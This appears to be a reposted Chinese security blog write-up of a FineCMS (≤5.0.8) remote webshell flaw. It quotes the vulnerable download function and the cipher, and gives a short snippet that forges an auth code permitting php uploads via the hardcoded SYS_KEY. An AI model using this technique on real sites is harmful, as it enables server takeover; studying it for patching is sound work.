FineCMS最新getshell漏洞通杀FineCMS5.0.8一下版本

颓废 2019年5月19日10:12:48评论1,024 views字数 2805阅读9分21秒阅读模式
摘要

在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器.

在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器.

public function down_file() {        $p = array();     $url = explode('&', $this->input->post('url'));     //经过& 分割        foreach ($url as $t) {         $item = explode('=', $t);         $p[$item[0]] = $item[1];     }     //经过 = 分割     !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));     //对$p['code'] 进行解码     list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));     //得到尺寸和后缀     $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';     !is_dir($path) && dr_mkdirs($path);        $furl = $this->input->post('file');     $file = dr_catcher_data($furl);     //dr_catcher_data 是读取远程文件     !$file && exit(dr_json(0, '获取远程文件失败'));        $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名     !@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));            $filename = substr(md5(time()), 0, 7).rand(100, 999);     if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {         $info = array(             'file_ext' => '.'.$fileext,             'full_path' => $path.$filename.'.'.$fileext,             'file_size' => filesize($path.$filename.'.'.$fileext)/1024,             'client_name' => '',         );

大概就是先对url进行& 以及 =的分割.最后把code拿出来利用dr_authcode解密.在文件/finecms/dayrui/helpers/function_helper.php里面发现了对dr_authcode的定义

function dr_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {        if (!$string) {         return '';     }        $ckey_length = 4;        $key = md5($key ? $key : SYS_KEY);     $keya = md5(substr($key, 0, 16));     $keyb = md5(substr($key, 16, 16));     $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';        $cryptkey = $keya . md5($keya . $keyc);     $key_length = strlen($cryptkey);        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;     $string_length = strlen($string);        $result = '';     $box = range(0, 255);        $rndkey = array();     for ($i = 0; $i <= 255; $i++) {         $rndkey[$i] = ord($cryptkey[$i % $key_length]);     }        for ($j = $i = 0; $i < 256; $i++) {         $j = ($j + $box[$i] + $rndkey[$i]) % 256;         $tmp = $box[$i];         $box[$i] = $box[$j];         $box[$j] = $tmp;     }        for ($a = $j = $i = 0; $i < $string_length; $i++) {         $a = ($a + 1) % 256;         $j = ($j + $box[$a]) % 256;         $tmp = $box[$a];         $box[$a] = $box[$j];         $box[$j] = $tmp;         $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));     }        if ($operation == 'DECODE') {         if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {             return substr($result, 26);         } else {             return '';         }     } else {         return $keyc . str_replace('=', '', base64_encode($result));     } }

其中还是关联到了SYS_KEY。然而这个值被写死了.没有初始化,所以任何人都可以利用。
修改了下down_file函数的过程.节省了传参过程

$teststr = "1234|php,txt,jpg,png"; $shell = dr_authcode($teststr, 'ENCODE');    $url = "cmd=webshell&code=".$shell; $url = explode('&', $url); //先按照&进行分割 foreach ($url as $t) {     $item = explode('=', $t);     //再按照 = 来分割     $p[$item[0]] = $item[1]; }    !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));    list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));

路径是根据当月时间来生成的

$path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/'; //年月

.利用$key的值不变.然后生成一个参数url在post一下

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日10:12:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FineCMS最新getshell漏洞通杀FineCMS5.0.8一下版本https://cn-sec.com/archives/68436.html

发表评论

匿名网友 填写信息